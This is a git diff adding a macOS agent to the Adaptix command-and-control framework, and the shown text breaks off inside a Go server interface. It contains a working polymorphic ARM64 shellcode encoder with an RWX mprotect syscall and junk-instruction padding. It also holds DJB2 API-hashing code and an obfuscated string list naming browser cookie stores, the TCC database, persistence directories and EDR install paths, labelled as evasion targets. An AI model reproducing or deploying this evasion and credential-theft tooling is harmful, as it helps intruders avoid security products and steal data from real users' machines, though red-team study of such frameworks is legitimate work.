zJAop=qhJiOe@-3b0QWJ-)HnLEHNWT|_zp{foFfa|E`Si#9BWmG(20=>W@@p(;{-8P_H35bn|KJ;F;eP@kmH&l< z{XPHR-C&MD<40~#zL#{rc#skp{@NZ;{lB;0`!_H6J0V3h+D{9l6~DnBf(cyy=0kyf zKlTYEaQWFXe(_+x^#}831I+`}7XUQ=8HQ=x4(Ii8ixM3LjKnX{%8KQ(tztf>vz#G{OkuQ^k3uu-u|55Jm~m=G5q2| z8iMxk^N--Kd?kPJA;PRbM}QRP$K?KKf7fpU#(oR|)h`hF#s8y!0igW`O4$W8e)K*6 zJ&r=-7Z1|E$N%jQ09k||JaGBZKpaRx$N5+Ef9D@4&kQht2wXt?o8R?83L5uc{5ml3 zWBWlo|8E|oVBi1m<9`BVf1LaO@QOd~C}3dxzjgKZ{s$dJ(0oAK6$>2uXMFxgOv@n6;AKL=je;M^kKl}et^nXu);AixIs~_k0pFIDt%D;HC zzxLnXJQ6jqz6)jA2~=r#1ZB2MOr7fqdTo z;K3$-@n+!vCjRY#fl2-cZ#D_|S>pLWH|Adz|K`>IgSVak#VcR^`v&kgZ}cC0->CJ^ zf-aE20e`f=`FFp0hQ9**Gd4e|LePctI|pbOD67YR)IVMP#j8>NQ5 zIQ&jOE#trXLGuQ6|M35Ph5d?r`F$O}J^%Ip2P$B9IoAL7AJF{Se*F6ex^{ne{S<;C ct)GfS{_hj;@A}C9!TbK6|KMN1UoP1H16pHdT>t<8 literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go new file mode 100644 index 000000000..c2663e267 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go @@ -0,0 +1,420 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + mrand "math/rand" +) + +// xorEncodeShellcodeARM64 applies XOR encoding to a macOS ARM64 dylib payload. +// Returns the encoded payload prepended with a polymorphic self-decoding ARM64 stub that: +// 1. Calls mprotect via direct syscall (svc #0x80) to make its memory RWX +// 2. XOR-decodes the payload in-place using a 16-byte key +// 3. Flushes the instruction cache (required on ARM64) +// 4. Branches to the decoded dylib (which triggers __attribute__((constructor))) +// +// Each call generates a unique stub with different: +// - XOR key (16 bytes, crypto-random) +// - Junk NOP padding (variable count) +// - Instruction variants in the decode loop +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic ARM64 stub + stub, keyOffset, sizeOffset := generateStubARM64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} + +// ARM64 instruction encoding helpers + +func arm64Nop() uint32 { return 0xD503201F } + +// stp x29, x30, [sp, #-16]! +func arm64StpX29X30PreDec() uint32 { return 0xA9BF7BFD } + +// ldp x29, x30, [sp], #16 +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } + +// adr xD, #imm21 — PC-relative address (±1MB range) +func arm64Adr(rd int, imm21 int32) uint32 { + immlo := uint32(imm21&0x3) << 29 + immhi := uint32((imm21>>2)&0x7FFFF) << 5 + return 0x10000000 | immlo | immhi | uint32(rd) +} + +// ldr wD, [xN, #imm12*4] — load 32-bit from base + scaled imm +func arm64LdrWImm(rd, rn int, imm12 uint32) uint32 { + return 0xB9400000 | (imm12/4)<<10 | uint32(rn)<<5 | uint32(rd) +} + +// ldrb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64LdrbReg(rd, rn, rm int) uint32 { + return 0x38606800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// strb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64StrbReg(rd, rn, rm int) uint32 { + return 0x38206800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// eor wD, wN, wM +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, #imm12 +func arm64AddImm(rd, rn int, imm12 uint32) uint32 { + return 0x91000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// and wD, wN, #imm — for AND w, w, #15 (bitmask 0xF = immr=0, imms=3, N=0) +func arm64AndWImm15(rd, rn int) uint32 { + // Logical immediate encoding for #15 (0xF): N=0, immr=0, imms=0b000011 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +// subs wD, wN, #imm12 +func arm64SubsWImm(rd, rn int, imm12 uint32) uint32 { + return 0x71000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// b.ne #offset (offset in bytes, must be aligned to 4) +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} + +// b #offset (unconditional branch, offset in bytes) +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} + +// mov xD, #imm16 +func arm64MovzX(rd int, imm16 uint32) uint32 { + return 0xD2800000 | imm16<<5 | uint32(rd) +} + +// movk xD, #imm16, lsl #16 +func arm64MovkXLsl16(rd int, imm16 uint32) uint32 { + return 0xF2A00000 | imm16<<5 | uint32(rd) +} + +// mov wD, #imm16 +func arm64MovzW(rd int, imm16 uint32) uint32 { + return 0x52800000 | imm16<<5 | uint32(rd) +} + +// mov xD, xN (alias for orr xD, xzr, xN) +func arm64MovX(rd, rn int) uint32 { + return 0xAA0003E0 | uint32(rn)<<16 | uint32(rd) +} + +// svc #0x80 +func arm64Svc80() uint32 { return 0xD4001001 } + +// and xD, xN, xN (NOP-equivalent, polymorphic filler) +func arm64AndSelf(rd int) uint32 { + return 0x8A000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// orr xD, xD, xD (NOP-equivalent, polymorphic filler) +func arm64OrrSelf(rd int) uint32 { + return 0xAA000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// and xD, xN, #0xFFFFFFFFFFFFF000 — clear low 12 bits (page align) +// Logical immediate: N=1, immr=52, imms=51 +// Ones(52) ROR 52 = bits [63:12] set = 0xFFFFFFFFFFFFF000 +func arm64AndPageAlign(rd, rn int) uint32 { + return 0x9274CC00 | uint32(rn)<<5 | uint32(rd) +} + +// sub xD, xN, xM +func arm64SubX(rd, rn, rm int) uint32 { + return 0xCB000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, xM +func arm64AddX(rd, rn, rm int) uint32 { + return 0x8B000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// cbnz wN, #offset (offset in bytes) +func arm64CbnzW(rn int, offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x35000000 | imm19<<5 | uint32(rn) +} + +// dc civac, xN — clean & invalidate data cache by VA +func arm64DcCivac(rn int) uint32 { + return 0xD50B7E20 | uint32(rn) +} + +// ic ivau, xN — invalidate instruction cache by VA +func arm64IcIvau(rn int) uint32 { + return 0xD50B7520 | uint32(rn) +} + +// dsb ish +func arm64DsbIsh() uint32 { return 0xD5033B9F } + +// isb +func arm64Isb() uint32 { return 0xD5033FDF } + +// Helper: encode a uint32 instruction to 4 bytes LE +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// generateStubARM64 creates a polymorphic ARM64 decoder stub. +// Returns (stub_bytes, key_offset, size_offset). +// +// The stub layout: +// [prologue: save regs] +// [junk NOPs] +// [compute addresses: adr to key, size, data] +// [mprotect syscall: make stub+payload RWX] +// [junk NOPs] +// [XOR decode loop] +// [icache flush loop] +// [epilogue: restore regs, branch to decoded payload] +// [key: 16 bytes] +// [size: 4 bytes] +// [alignment padding to 8 bytes] +// --- encoded payload follows --- +func generateStubARM64() ([]byte, int, int) { + var stub []byte + + // Polymorphism: random junk instruction counts + junkCount1 := mrand.Intn(3) + 1 // 1-3 NOPs after prologue + junkCount2 := mrand.Intn(2) + 1 // 1-2 NOPs before decode loop + + // Polymorphism: choose loop counter variant + // 0 = subs + b.ne, 1 = sub + cbnz + loopVariant := mrand.Intn(2) + + // Register assignments (can be randomized in future iterations) + rKey := 9 // x9 = pointer to XOR key + rData := 10 // x10 = pointer to encoded data + rSize := 11 // w11 = remaining byte count + rKeyIdx := 12 // x12 = key index (0..15) + rTmp0 := 13 // w13 = temp for key byte + rTmp1 := 14 // w14 = temp for data byte + rPageBase := 15 // x15 = page-aligned base for mprotect + rMprotSz := 16 // x16 is reused for syscall number, then free; use x3 for mprotect size + _ = rMprotSz + + // ── Prologue ── + // stp x29, x30, [sp, #-16]! + stub = append(stub, encodeInsn(arm64StpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount1; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── Address computation ── + // We'll patch these ADR offsets after we know the full stub size. + // For now, emit placeholders and record their positions. + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xKey, key_data + + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xData, data_start + + // ldr w11, [x9, #16] — load size from key+16 (size field is right after key) + ldrSizePos := len(stub) + _ = ldrSizePos + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // ── mprotect syscall ── + // Page-align stub base: and x15, x9, #~0xFFF (clear low 12 bits) + // We align from key address which is near the stub start + stub = append(stub, encodeInsn(arm64AndPageAlign(rPageBase, rKey))...) + + // Compute total mprotect size: + // size = (data_ptr + payload_size + 0xFFF) & ~0xFFF - page_base + // Simplified: use a generous size = data_ptr - page_base + payload_size + 4096 + // x0 = page_base (mprotect addr) + stub = append(stub, encodeInsn(arm64MovX(0, rPageBase))...) + + // x1 = data_ptr + size - page_base + 4096 + // We compute: x1 = x10 + x11 - x15 + stub = append(stub, encodeInsn(arm64AddX(1, rData, rSize))...) // x1 = data + size + stub = append(stub, encodeInsn(arm64SubX(1, 1, rPageBase))...) // x1 = x1 - page_base + stub = append(stub, encodeInsn(arm64AddImm(1, 1, 0xFFF))...) // x1 += 0xFFF + stub = append(stub, encodeInsn(arm64AndPageAlign(1, 1))...) // x1 &= ~0xFFF (round up) + + // x2 = PROT_READ | PROT_WRITE | PROT_EXEC = 7 + stub = append(stub, encodeInsn(arm64MovzW(2, 7))...) + + // x16 = SYS_mprotect = 0x200004A (BSD: 0x2000000 | 74) + stub = append(stub, encodeInsn(arm64MovzX(16, 0x004A))...) // x16 = 0x4A + stub = append(stub, encodeInsn(arm64MovkXLsl16(16, 0x0200))...) // x16 |= 0x0200_0000 + + // svc #0x80 + stub = append(stub, encodeInsn(arm64Svc80())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── XOR decode loop ── + // x12 = 0 (key index) + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0))...) + + loopStart := len(stub) + + // w13 = key[key_idx] : ldrb w13, [x9, x12] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // w14 = data[i] : ldrb w14, [x10] (we use post-index style but simpler: [x10, #0] then increment) + // Actually use x12 as key idx, need a separate counter for data. + // Simpler: use x10 as moving data pointer, x12 as key index + // ldrb w14, [x10] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) // ldrb w14, [x10] + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) // strb w14, [x10] + + // x10 += 1 (advance data pointer) + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // Decrement size counter and loop + if loopVariant == 0 { + // subs w11, w11, #1 + b.ne loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } else { + // sub w11, w11, #1 + cbnz w11, loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) // subs for zero flag + _ = loopVariant + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } + + // ── icache flush ── + // We need to flush the decoded payload region. + // Reload data_start address and size for the flush loop. + // Re-compute: the data pointer (x10) has been advanced past the payload. + // We need the original data_start. Recalculate from key addr: data_start = key + 20 (16 key + 4 size) + + // x10 = x9 + 20 (key + 16 + 4 = data_start) + stub = append(stub, encodeInsn(arm64AddImm(rData, rKey, 20))...) + + // Reload size from key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // Flush icache for the decoded region + // For simplicity, use IC IALLUIS (invalidate ALL instruction cache) + // This is simpler than per-page flush and works correctly. + // On Apple Silicon this is allowed from userspace. + + // dc civac loop would be per-cache-line (64 bytes on Apple Silicon) + // But IC IALLUIS + DSB + ISB is cleaner and simpler + + // DSB ISH — ensure stores (XOR decode) are visible + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // IC IALLUIS — invalidate all instruction cache (inner shareable) + // sys #0, c7, c1, #0 = 0xD508711F + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + + // DSB ISH — ensure icache invalidation completes + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // ISB — synchronize instruction stream + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + // ldp x29, x30, [sp], #16 + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // b data_start — branch to decoded payload + branchPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: b data_start + + // ── Data area ── + keyOffset := len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key (to be patched) + + sizeOffset := len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size (to be patched) + + // Align to 8 bytes (ARM64 prefers 8-byte alignment for branch targets) + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) // This is where encoded payload will be appended + + // ── Patch ADR instructions ── + // adr xKey, key_data: offset = keyOffset - adrKeyPos + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr xData, data_start: offset = dataStart - adrDataPos + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm)) + + // ── Patch branch to data_start ── + branchOffset := int32(dataStart - branchPos) + binary.LittleEndian.PutUint32(stub[branchPos:branchPos+4], arm64B(branchOffset)) + + return stub, keyOffset, sizeOffset +} + +// randomJunkInsn returns a random ARM64 instruction that acts as a NOP +// (does nothing useful but varies the stub's byte signature) +func randomJunkInsn() uint32 { + switch mrand.Intn(5) { + case 0: + return arm64Nop() // nop + case 1: + r := mrand.Intn(16) // mov xR, xR + return arm64MovX(r, r) + case 2: + r := mrand.Intn(16) // and xR, xR, xR + return arm64AndSelf(r) + case 3: + r := mrand.Intn(16) // orr xR, xR, xR + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git a/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go new file mode 100644 index 000000000..40e993d23 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go @@ -0,0 +1,327 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash computes a case-insensitive DJB2 hash (same as beacon's djb2a). +// Must match the C implementation in dyld_resolve.c exactly. +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// macOS dylib entries — the libraries whose APIs we resolve by hash +var macosLibs = []struct { + define string + libName string +}{ + {"HASH_LIB_LIBSYSTEM", "libSystem.B.dylib"}, + {"HASH_LIB_LIBSYSTEM_C", "libsystem_c.dylib"}, + {"HASH_LIB_LIBSYSTEM_KERNEL", "libsystem_kernel.dylib"}, + {"HASH_LIB_LIBSYSTEM_PTHREAD", "libsystem_pthread.dylib"}, + {"HASH_LIB_COREFOUNDATION", "CoreFoundation"}, + {"HASH_LIB_SECURITY", "Security"}, + {"HASH_LIB_COREGRAPHICS", "CoreGraphics"}, +} + +// macOS function entries — organized by category +var macosFuncSections = []struct { + comment string + funcs []struct { + define string + name string + } +}{ + { + "// ── File I/O ──", + []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_COPYFILE", "copyfile"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }, + }, + { + "// ── Memory ──", + []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }, + }, + { + "// ── Process ──", + []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_EXECL", "execl"}, + {"HASH_FUNC_EXECLP", "execlp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_KILLPG", "killpg"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + }, + }, + { + "// ── Network ──", + []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + }, + }, + { + "// ── System ──", + []struct{ define, name string }{ + {"HASH_FUNC_SYSCTL", "sysctl"}, + {"HASH_FUNC_SYSCTLBYNAME", "sysctlbyname"}, + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + }, + }, + { + "// ── Pipes & PTY ──", + []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }, + }, + { + "// ── Threading ──", + []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }, + }, + { + "// ── Crypto/Random ──", + []struct{ define, name string }{ + {"HASH_FUNC_ARC4RANDOM_BUF", "arc4random_buf"}, + }, + }, + { + "// ── String/Misc ──", + []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }, + }, + { + "// ── macOS-specific ──", + []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + }, + }, +} + +// Sensitive strings that should be XOR-encoded per-payload +var obfuscatedStrings = []struct { + define string + value string +}{ + {"OBF_SCREENCAPTURE", "/usr/sbin/screencapture"}, + {"OBF_PBPASTE", "/usr/bin/pbpaste"}, + {"OBF_LAUNCHCTL", "/bin/launchctl"}, + {"OBF_SECURITY_BIN", "/usr/bin/security"}, + {"OBF_DEFAULTS", "/usr/bin/defaults"}, + {"OBF_SQLITE3", "/usr/bin/sqlite3"}, + {"OBF_PS", "/bin/ps"}, + {"OBF_RM", "/bin/rm"}, + {"OBF_DITTO", "/usr/bin/ditto"}, + {"OBF_SH", "/bin/sh"}, + {"OBF_BASH", "/bin/bash"}, + {"OBF_ZSH", "/bin/zsh"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_TCC_DB", "/Library/Application Support/com.apple.TCC/TCC.db"}, + {"OBF_CHROME_COOKIES", "Library/Application Support/Google/Chrome/Default/Cookies"}, + {"OBF_FIREFOX_COOKIES", "Library/Application Support/Firefox/Profiles"}, + {"OBF_LAUNCH_AGENTS", "Library/LaunchAgents"}, + {"OBF_LAUNCH_DAEMONS", "/Library/LaunchDaemons"}, + {"OBF_LS", "/bin/ls"}, + {"OBF_TMP", "/tmp"}, + {"OBF_SYSVER_PLIST", "/System/Library/CoreServices/SystemVersion.plist"}, + {"OBF_CHROME_DEFAULT", "Library/Application Support/Google/Chrome/Default/"}, + + // EDR product paths — critical YARA targets + {"OBF_EDR_CS_FALCONCTL", "/Library/CS/falconctl"}, + {"OBF_EDR_CS_FALCON", "/Library/Application Support/com.crowdstrike.falcon"}, + {"OBF_EDR_ADDIGY", "/Library/Addigy/auditor"}, + {"OBF_EDR_MALWAREBYTES", "/Library/Application Support/Malwarebytes"}, + {"OBF_EDR_JAMF", "/Library/Application Support/JAMF"}, + {"OBF_EDR_S1_APP", "/Applications/SentinelOne/SentinelAgent.app"}, + {"OBF_EDR_S1_LIB", "/Library/Sentinel/sentinel-agent.bundle"}, + {"OBF_EDR_ES_KEXT", "/Library/Extensions/EndpointSecurity.kext"}, + {"OBF_EDR_SOPHOS", "/Library/Application Support/Sophos"}, + {"OBF_EDR_ELASTIC", "/Library/Application Support/com.elastic.endpoint"}, + {"OBF_EDR_BLOCKBLOCK", "/Applications/BlockBlock Helper.app"}, + {"OBF_EDR_LULU", "/Applications/LuLu.app"}, + {"OBF_EDR_KNOCKKNOCK", "/Applications/KnockKnock.app"}, + {"OBF_EDR_REIKEY", "/Applications/ReiKey.app"}, + {"OBF_EDR_XPROTECT", "/Library/Apple/System/Library/Extensions/AppleHV.kext"}, +} + +// generateObfStrings generates a strings_obf.h with XOR-encoded sensitive strings. +func generateObfStrings() string { + key := make([]byte, 16) + _, _ = rand.Read(key) + + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n\n") + b.WriteString("#include \n\n") + + // Write XOR key defines + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("#define XOR_KEY_%d 0x%02x\n", i, key[i])) + } + b.WriteString("\n") + + // XOR key array + b.WriteString("static const uint8_t _xor_key[16] = {\n ") + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("XOR_KEY_%d", i)) + if i < 15 { + b.WriteString(", ") + } + if i == 7 { + b.WriteString("\n ") + } + } + b.WriteString("\n};\n\n") + + // xor_decode function + macros + b.WriteString(`static inline void xor_decode(char* buf, const uint8_t* enc, int len) { + for (int i = 0; i < len; i++) { + buf[i] = (char)(enc[i] ^ _xor_key[i % 16]); + } + buf[len] = '\0'; +} + +#define DEOBF(var_name, obf_array) \ + char var_name[sizeof(obf_array)]; \ + xor_decode(var_name, obf_array, sizeof(obf_array) - 1) + +#define ZERO_STR(var_name, obf_array) do { \ + volatile char* _p = (volatile char*)(var_name); \ + for (unsigned _i = 0; _i < sizeof(obf_array); _i++) _p[_i] = 0; \ +} while(0) + +`) + + for _, entry := range obfuscatedStrings { + data := []byte(entry.value) + b.WriteString(fmt.Sprintf("// \"%s\" (%d bytes)\n", entry.value, len(data))) + b.WriteString(fmt.Sprintf("static const uint8_t %s[] = {\n ", entry.define)) + for i, ch := range data { + enc := ch ^ key[i%16] + if i > 0 && i%12 == 0 { + b.WriteString("\n ") + } + b.WriteString(fmt.Sprintf("0x%02x", enc)) + if i < len(data)-1 { + b.WriteString(", ") + } + } + // XOR'd null terminator + nullEnc := byte(0) ^ key[len(data)%16] + b.WriteString(fmt.Sprintf(", 0x%02x", nullEnc)) + b.WriteString("\n};\n\n") + } + + return b.String() +} + +// generateMacosApiDefines generates the ApiDefines.h content for macOS +// with DJB2 hashes computed using the given random seed. +func generateMacosApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload DJB2 hashes\n") + b.WriteString(fmt.Sprintf("// Seed: 0x%08x\n\n", seed)) + + // Library hashes + b.WriteString("// ── Library hashes (dylib basenames) ──\n") + for _, lib := range macosLibs { + h := djb2Hash(seed, lib.libName) + pad := 40 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes + for _, section := range macosFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2Hash(seed, entry.name) + pad := 40 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_main.go b/AdaptixServer/extenders/macos_agent/pl_main.go new file mode 100644 index 000000000..aebf9dda9 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_main.go @@ -0,0 +1,1868 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + 